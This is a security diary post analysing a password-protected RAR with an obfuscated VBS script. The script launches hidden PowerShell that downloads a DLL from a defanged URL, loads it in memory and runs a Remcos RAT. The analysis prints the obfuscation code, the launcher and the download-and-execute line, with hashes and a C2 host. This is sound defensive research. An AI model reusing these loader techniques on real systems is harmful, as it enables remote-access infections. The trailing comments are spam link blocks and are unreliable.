Remcos Downloader with Unicode Obfuscation

Published: 2022-11-04
Last Updated: 2022-11-04 07:08:23 UTC
by Xavier Mertens (Version: 1)
0 comment(s)

I spotted a malicious RAR archive that contained a VBS script. It was called “Unidad judicial citacion pendiente Fiscalia.rar” and protected with a simple 4-numbers password to defeat automatic scanning. Inside, the VBS script has the same name. Both are unknown to VT.

The file has stupid (but still effective) tricks to pollute the code like comments (lines starting with a single quote) and labels (lines ending with a colon). Note that you can join multiple label in one line:

IzGPO:yWNxx:IOfaI:Cvghz:qfPU:aDHqa:LxWPC:ULLtt:YwPsT

The VBS script deobfuscate some code and launches a PowerShell interpreter. Main data is Base64-encoded but unicode characters are injected:

Here again, very simple but unicode characters are not properly handled by many tools, especially on Linux. If you try to display the script about in a Linux shell, you won’t see interesting code!

Suspicious functions are obfuscated and called through other ones. The script has multiple reserved strings. "StrReverse" is ofbuscated like this:

Function BgkX(GGMtp)
  dim MDje
  MDje = "BgkX = "
  MDje = MDje + "SNdPZOtrNdPZORevNdPZOerse"
  MDje = BeWD(MDje,"NdPZO","")
  MDje = MDje + "(GGMtp)"
  execute(MDje)
End Function

The execute() statement is like eval() in Javascript, it takes a string argument and interprets it as a VBS statement or sequence of statements

Another obfuscation:

Here is the executed PowerShell script (beautified):

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command \
$iUqm = 'JABSAG8AZABhAEMAbwBwAHkAI (payload removed) AA9ACAAJwA???ASwBhAGIAJwAgACkAKQA='; \
$OWjuxD = [system.Text.Encoding]::Unicode.GetString( [system.Convert]::FromBase64String( $iUqm.replace('???','U') ) ); \
$OWjuxD = $OWjuxD.replace('??????????', 'C:\Users\user01\AppData\Local\Temp\Unidad judicial cita.vbs'); \
powershell.exe -windowstyle hidden -ExecutionPolicy Bypss -NoProfile -Command $OWjuxD

The next decoded Base64 payload (also polluted with junk characters) is:

$RodaCopy = '–¯¯––¯––¯¯'; [Byte[]] $DLL = [system.Convert]::FromBase64String((New-Object Net.WebClient).DownloadString('hxxps://tinyurl[.]com/2erph6cs'));[system.AppDomain]::CurrentDomain.Load($DLL).GetType('NwgoxM.KPJaNj').GetMethod('PUlGKA').Invoke($null, [object[]] ('0/Ev3d1/d/ee.etsap//:sptth' , $RodaCopy , 'd3vEKab' ))

A DLL is downloaded from hxxps://tinyurl[.]com/2erph6cs (SHA255:49562fda46cfa05b2a6e2cb06a5d25711c9a435b578a7ec375f928aae9c08ff2). It is already on VT with a score of 40/69[1]. The DLL is loaded in the currentprocess using the AppDomain.Load method[2] and launch a Remcos sample (SHA256:ee1e6615088a95b6d401603fc0f46b105a453eecbd8131305443983b6d32151f[3]) from the reversed URL.

The C2 server is defenderos2.con-ip[.]com:2425.

I've already seen this infection technique a few months ago but it seems it remains effective and is still in the wild. Many security controls, especially running on Linux, have issues to properly handle Unicide characters!

[1] https://www.virustotal.com/gui/file/49562fda46cfa05b2a6e2cb06a5d25711c9a435b578a7ec375f928aae9c08ff2/details
[2] https://learn.microsoft.com/en-us/dotnet/api/system.appdomain.load?view=net-6.0
[3] https://www.virustotal.com/gui/file/ee1e6615088a95b6d401603fc0f46b105a453eecbd8131305443983b6d32151f

Xavier Mertens (@xme)
Xameco
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

0 comment(s)
ISC Stormcast For Friday, November 4th, 2022 https://isc.sans.edu/podcastdetail.html?id=8244

Comments

What's this all about ..?
password reveal .
<a hreaf="https://technolytical.com/">the social network</a> is described as follows because they respect your privacy and keep your data secure:

<a hreaf="https://technolytical.com/">the social network</a> is described as follows because they respect your privacy and keep your data secure. The social networks are not interested in collecting data about you. They don't care about what you're doing, or what you like. They don't want to know who you talk to, or where you go.

<a hreaf="https://technolytical.com/">the social network</a> is not interested in collecting data about you. They don't care about what you're doing, or what you like. They don't want to know who you talk to, or where you go. The social networks only collect the minimum amount of information required for the service that they provide. Your personal information is kept private, and is never shared with other companies without your permission
https://thehomestore.com.pk/
<a hreaf="https://defineprogramming.com/the-public-bathroom-near-me-find-nearest-public-toilet/"> public bathroom near me</a>
<a hreaf="https://defineprogramming.com/the-public-bathroom-near-me-find-nearest-public-toilet/"> nearest public toilet to me</a>
<a hreaf="https://defineprogramming.com/the-public-bathroom-near-me-find-nearest-public-toilet/"> public bathroom near me</a>
<a hreaf="https://defineprogramming.com/the-public-bathroom-near-me-find-nearest-public-toilet/"> public bathroom near me</a>
<a hreaf="https://defineprogramming.com/the-public-bathroom-near-me-find-nearest-public-toilet/"> nearest public toilet to me</a>
<a hreaf="https://defineprogramming.com/the-public-bathroom-near-me-find-nearest-public-toilet/"> public bathroom near me</a>
https://defineprogramming.com/
https://defineprogramming.com/
Enter comment here... a fake TeamViewer page, and that page led to a different type of malware. This week's infection involved a downloaded JavaScript (.js) file that led to Microsoft Installer packages (.msi files) containing other script that used free or open source programs.
distribute malware. Even if the URL listed on the ad shows a legitimate website, subsequent ad traffic can easily lead to a fake page. Different types of malware are distributed in this manner. I've seen IcedID (Bokbot), Gozi/ISFB, and various information stealers distributed through fake software websites that were provided through Google ad traffic. I submitted malicious files from this example to VirusTotal and found a low rate of detection, with some files not showing as malware at all. Additionally, domains associated with this infection frequently change. That might make it hard to detect.
https://clickercounter.org/
Enter corthrthmment here...

Diary Archives